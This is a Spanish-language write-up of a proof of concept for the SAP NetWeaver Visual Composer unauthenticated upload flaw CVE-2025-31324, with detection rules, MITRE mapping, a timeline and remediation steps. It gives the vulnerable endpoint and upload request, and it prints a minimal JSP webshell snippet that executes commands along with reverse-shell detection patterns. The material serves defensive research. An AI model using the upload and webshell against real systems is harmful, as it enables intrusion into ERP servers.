
Prueba de concepto del exploit para CVE-2025-31324, una subida de archivos sin autenticación en SAP NetWeaver Visual Composer, con guía de detección, mapeo MITRE y pasos de remediación.
Tipo: Prueba de Concepto — Investigación de Vulnerabilidades CVE: CVE-2025-31324 CVSS: 10.0 Crítico (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Estado: Parcheado — Nota de Seguridad SAP 3594142 + 3604119 Añadido al KEV de CISA: Mayo 2025
⚠️ Este PoC utiliza un archivo JSP benigno ("Hello World") para validar la superficie de ataque sin ejecutar código malicioso. Uso exclusivo en entornos autorizados con fines de pentesting y desarrollo de detecciones.
Desarrollado por: HKK$ cat ./vulnerability_summary.txtLa vulnerabilidad CVE-2025-31324 reside en el componente Visual Composer Metadata Uploader de SAP NetWeaver AS Java — una falla de missing authorization check que permite a cualquier atacante no autenticado enviar solicitudes POST al endpoint /developmentserver/metadatauploader, resultando en una subida irrestricta de archivos arbitrarios.
El CVE afecta específicamente al SAP NetWeaver Visual Composer Framework versión 7.50, con una puntuación CVSS de 10.0 — el máximo posible.
Los actores de amenazas explotaron activamente esta vulnerabilidad de enero a mayo de 2025, implantando webshells persistentes en cientos de sistemas en todo el mundo.
$ cat ./impact.txtAl operar con privilegios elevados y estar cerca de datos ERP, el movimiento lateral hacia stacks SAP ABAP o bases de datos conectadas es trivial después de la explotación.
La cadena de explotación completa en ataques reales:
Subida JSP (CVE-2025-31324)
→ Webshell persistente en el servidor
→ RCE como proceso SAP (alto privilegio)
→ Acceso a datos ERP (Finanzas, RRHH, Cadena de Suministro)
→ Movimiento lateral hacia ABAP / DB
→ Despliegue de frameworks C2 (ej: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — FLUJO DE EXPLOTACIÓN │
│ │
│ ATACANTE SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Cuerpo: archivo JSP/WAR/cualquiera ──────► │ Metadata Uploader │ │
│ (sin autenticación) │ │ │
│ │ ❌ Sin verificación │ │
│ │ de auth │ │
│ │ ❌ Sin validación │ │
│ │ de extensión │ │
│ │ ❌ Sin sanitización │ │
│ │ de contenido │ │
│ └────────┬────────────┘ │
│ │ │
│ Archivo guardado en: │
│ /irj/root/ o similar │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC benigno) │
│ → Webshell (exploit real) │
└─────────────────────────────────────────────────────────────────────────┘
El /developmentserver/metadatauploader forma parte del SAP Visual Composer — una herramienta de desarrollo low-code para que analistas de negocio creen aplicaciones SAP sin código Java. El endpoint fue diseñado para recibir modelos de metadata durante el desarrollo. Aunque el componente no está habilitado en la configuración predeterminada de NetWeaver, Onapsis informó que está ampliamente activado en entornos de producción.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
¿Por qué JSP y no otro formato?
SAP NetWeaver AS Java ejecuta una JVM — los archivos .jsp son interpretados directamente por el contenedor de servlets (Apache Tomcat embebido) sin compilación previa. Esto convierte a JSP en el formato ideal para webshells en entornos Java.
La elección del contenido benigno ("Hello World") es deliberada para el PoC:
En una explotación real, el contenido sería un webshell JSP con ejecución de comandos, ej:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — ¿Por qué ese Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
El endpoint espera una solicitud multipart/form-data — el mismo formato utilizado por los formularios HTML de subida de archivos. Esto es intencional en el diseño original de Visual Composer (subida de modelos de desarrollo).
La biblioteca requests construye automáticamente los boundaries del multipart cuando se pasa files= — el header Content-Type: multipart/form-data; boundary=... se genera internamente.
verify=False: deshabilita la validación del certificado TLS — necesario porque los entornos SAP frecuentemente usan certificados self-signed. En producción, usar verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Componente | Significado |
|---|---|
:50201 | Puerto predeterminado del SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Servlet de desarrollo de Visual Composer |
metadatauploader | Endpoint específico de subida de metadatos |
CONTENTTYPE=MODEL | Tipo de contenido esperado por el endpoint |
CLIENT=1 | Mandante SAP (client) — 000, 100, 001 son comunes |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Explotación del endpoint /developmentserver/metadatauploader
# sin autenticación vía HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# Webshell JSP subido → ejecutado por el contenedor de servlets (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell como mecanismo de persistencia
# El archivo JSP persiste en el filesystem del servidor entre reinicios
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells nombrados como archivos legítimos de SAP (ej: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Post-RCE: enumerar procesos, usuarios, rutas SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Acceso al stack ABAP, bases de datos conectadas vía RCE
tactic: Collection
- T1005 # Data from Local System
# Acceso directo a datos ERP (Finanzas, RRHH, Cadena de Suministro)
$ cat ./affected_versions.txtProducto: SAP NetWeaver Application Server Java
Componente: Visual Composer Framework
Versión: 7.50 (todas las builds anteriores al parche de abril/mayo 2025)
Parches:
SSN 3594142 → Parche inicial (abril 2025) — mitiga la subida de archivos
SSN 3604119 → Corrección de causa raíz vía CVE-2025-42999 (mayo 2025) — aborda la causa raíz
SSN 3578900, 3620498, 3621771, 3634501 → Notas complementarias de hardening
CISA KEV: tanto CVE-2025-31324 como CVE-2025-42999 fueron añadidos al catálogo
$ cat ./detection_opportunities.md# Regla: POST no autenticado hacia el endpoint del Metadata Uploader
# Fuente: SAP Web Dispatcher / registro de acceso ICM
Condición:
- method: POST
- uri_path CONTIENE: /developmentserver/metadatauploader
- auth_header: AUSENTE
- body_content_type: multipart/form-data
Severidad: CRÍTICA — investigar inmediatamente
# Log SAP ICM — patrón sospechoso:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# Regla: GET hacia archivo .jsp creado recientemente fuera de rutas legítimas de SAP
Condición:
- method: GET
- uri_path COINCIDE CON: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NO_EN: [lista de JSPs legítimos conocidos]
# Proceso hijo sospechoso del JVM de SAP
# Fuente: Sysmon / creación de procesos EDR
Condición:
- parent_process: java.exe o jstart.exe
- child_process: cmd.exe O powershell.exe O sh O bash
- command_line CONTIENE: -c O .socket O .call( O .spawn(
Red Canary documentó el siguiente patrón de detección para la explotación del CVE-2025-31324 en entornos Linux: proceso python con argumento -c combinado con .socket y .call( o .spawn( — indicativo de reverse shell post-webshell.
# Buscar solicitudes POST hacia el endpoint vulnerable en los últimos 90 días
# Directorio de logs: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Listar JSPs creados recientemente en el directorio web
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.mdPRIORIDAD: CRÍTICA — Parche inmediato
1. Verificar si el componente está activo:
NWA → Configuration → Infrastructure → Java System Properties
Buscar: com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. Si no es necesario → DESHABILITAR Visual Composer:
NWA → Start & Stop → Services → VisualComposer → Stop
3. Aplicar parches obligatorios (en orden):
SSN 3594142 ← crítico (subida de archivos)
SSN 3604119 ← causa raíz (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (hardening adicional)
4. Configurar JVM Serial Filter (post-parche):
NWA → JVM Parameters → añadir filtro de clases maliciosas
5. Restringir el acceso de red al endpoint en el Web Dispatcher / Firewall:
BLOQUEAR: /developmentserver/* para IPs externas
PERMITIR: solo hosts de desarrollo autorizados
6. Verificar IOCs — buscar webshells implantados antes del parche:
Analizar logs ICM desde enero 2025
Buscar archivos .jsp con contenido sospechoso en /irj/
$ cat ./usage.sh# Instalar dependencia
pip install requests
# Editar la URL en el script antes de ejecutar:
# url = "https://<su-host-lab>:<puerto>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# Ejecutar
python cve_2025_31324_poc.py
# Verificar si la subida funcionó (el archivo debe ser accesible)
curl -k https://<host>:<puerto>/irj/hello_world.jsp
# Respuesta esperada si es vulnerable: HTML con "Hello World"
# Respuesta esperada si está parcheado: 404 o 403
$ cat ./timeline.txtEne 2025 Inicio de la explotación activa in-the-wild (detectado retroactivamente)
Abr 24, 2025 SAP publica CVE-2025-31324 (CVSS 10.0) + SSN 3594142
Abr 28, 2025 CISA lo añade al Known Exploited Vulnerabilities Catalog
Abr 29, 2025 Rapid7, Qualys, Red Canary publican análisis técnicos
May 07, 2025 Onapsis + Mandiant (Google Cloud) publican briefing conjunto
May 13, 2025 SAP publica SSN 3604119 (causa raíz vía CVE-2025-42999, CVSS 9.1)
May 15, 2025 CISA añade CVE-2025-42999 al catálogo KEV
May 20, 2025 Fecha límite de CISA para parchear en sistemas federales de EE. UU.
Jun 25, 2025 Unit 42 finaliza el monitoreo activo de la campaña
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] Missing auth en endpoints de "desarrollo" es un vector clásico subestimado
[+] CVSS 10.0 significa: sin auth + red + RCE completo — la trifecta más crítica posible
[+] Visual Composer no es estándar pero estaba ampliamente activo en producción — riesgo de shadow features
[+] JSP como webshell es especialmente sigiloso: sin compilación, ejecutado directamente por el contenedor
[+] Los actores de amenazas explotaron durante 3+ meses antes de la divulgación pública — la detección del SOC es crítica
[-] verify=False en el PoC — en pentest real, documentar el cert self-signed y usar verify=ruta
[-] CLIENT=1 hardcodeado — producción puede usar 000, 100, 200; enumerar antes
[-] El PoC no verifica si el archivo quedó accesible tras la subida — añadir GET de confirmación
[→] Mejoras: argparse para host/puerto/client, verificación automática post-subida, salida en JSON
Investigación CVE · CVSS 10.0 · Parcheado Abril/Mayo 2025 · CISA KEV · Solo pruebas autorizadas